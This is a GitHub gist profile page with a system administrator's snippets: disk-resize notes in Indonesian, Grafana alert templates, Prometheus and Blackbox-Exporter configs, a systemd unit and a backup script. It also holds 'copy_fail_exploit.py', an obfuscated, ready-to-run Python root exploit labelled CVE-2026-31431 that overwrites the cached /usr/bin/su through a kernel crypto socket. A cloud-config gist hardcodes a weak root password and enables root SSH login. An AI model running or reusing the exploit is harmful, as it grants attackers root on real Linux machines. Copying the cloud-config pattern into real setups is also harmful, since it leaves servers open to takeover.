Skip to content

Instantly share code, notes, and snippets.

View ridwan-muhamad's full-sized avatar
🎯
Focusing

Muhamad Ridwan ridwan-muhamad

🎯
Focusing
View GitHub Profile
1. Check semua Physical disk
# fdisk -l
jika terdapat error "GPT PMBB Mismatch" & terbaca /dev/vda4 hanya 8gb,
arinya ada size 40gb yang belum terbaca / dialokasi.
Gunakan command berikut untuk menambahkan size pada /dev/vda4
# growpart /dev/vda 4
kemudian check kembali size partisi /dev/vda4
@ridwan-muhamad
ridwan-muhamad / copy_fail_exploit.py
Last active April 30, 2026 05:35
CVE-2026-31431 | copy.fail | xint.io/blog/copy-fail-linux-distributions
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
{{ define "Cluster_Down_Detection" }}
{{ if gt (len .Alerts.Firing) 0 }}
Alerts : {{ len .Alerts.Firing }} 🔔
{{ range .Alerts.Firing }} {{ if gt (len .Annotations) 0 }}
Alert Name :
{{ .Annotations.summary }} ⚠️
Description:
🔵 {{ .Annotations.description }}
🟢 Available : {{ .Values.A }}
@ridwan-muhamad
ridwan-muhamad / Notificationg.tmpl
Last active February 11, 2026 13:08
Notification Templates - Grafana
{{ define "Notificationg" }}
{{ if gt (len .Alerts.Firing) 0 }}
Alerts : {{ len .Alerts.Firing }} 🔔
{{ range .Alerts.Firing }} {{ if gt (len .Annotations) 0 }}
⚠️ {{ .Annotations.summary }}
{{ .Annotations.description }}
Timestamp:
@ridwan-muhamad
ridwan-muhamad / Hypervisor resource usage
Last active January 31, 2026 01:23
Menemukan instances pengguna CPU/Memory tertinggi di server Hypervisor
## Menemukan instances pengguna CPU/Memory tertinggi ( --sort=-%cpu / --sort=-%mem)
[tripleo-admin@Openstack-Compute-2 ~]$ ps aux --sort=-%cpu | awk 'NR==1 {print $1, $2, $3, $4, "UUID"} / -uuid / {for(i=1;i<=NF;i++) if($i=="-uuid") {print $1, $2, $3, $4, $(i+1)}}' | column -t
USER PID %CPU %MEM UUID
qemu 691730 2646 16.9 457990e4-8d26-4f18-9940-72f652b99572
qemu 75529 1165 1.1 e6175dac-d40f-4375-855c-b48632a28d68
qemu 213227 775.4 4.1 148f0a0b-b13d-4718-aff2-1bc2b11ec505
admin 1642873 0.0 0.0 /
@ridwan-muhamad
ridwan-muhamad / prometheus.yml
Created January 27, 2026 07:00
Prometheus config for Blacbox-Exporter
scrape_configs:
- job_name: 'blackbox' ## Backbox-Exporter Config
metrics_path: /probe
params:
module: [http_2xx] # Module defined in blackbox.yml
static_configs:
- targets:
- https://i-3.co.id/ # Website 01
- https://fake-json-api.mock.beeceptor.com/users # Function 01
- https://fake-json-api.mock.beeceptor.com/companies # Function 02
@ridwan-muhamad
ridwan-muhamad / blackbox.yml
Created January 27, 2026 05:55
blackbox.yml with private CA File ssl / self signed ssl
modules:
http_2xx:
prober: http
http:
preferred_ip_protocol: "ip4"
http_post_2xx:
prober: http
http:
method: POST
tcp_connect:
@ridwan-muhamad
ridwan-muhamad / blackbox.service
Last active February 11, 2026 08:02
Blackbox-Exporter systemd service file ( /etc/systemd/system/blackbox.service )
[Unit]
Description=Blackbox Exporter
Documentation= Blackbox
Wants=network-online.target
After=network-online.target
[Service]
User=root
Group=root
Type=simple
#!/bin/bash
DAY="$(date +%Y_%m_%d)"
BACKUP="/home/$USER/DIRECTORY/$DAY-backup-ServiceAA.tar.gz"
tar -csvpzf $BACKUP /home/$USER/ServiceAA
@ridwan-muhamad
ridwan-muhamad / ops-cloud
Created September 17, 2025 06:54
reset root password & allow user root ssh
#cloud-config
chpasswd:
list: |
root:ridwan
expire: false
ssh_pwauth: true
runcmd:
- sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config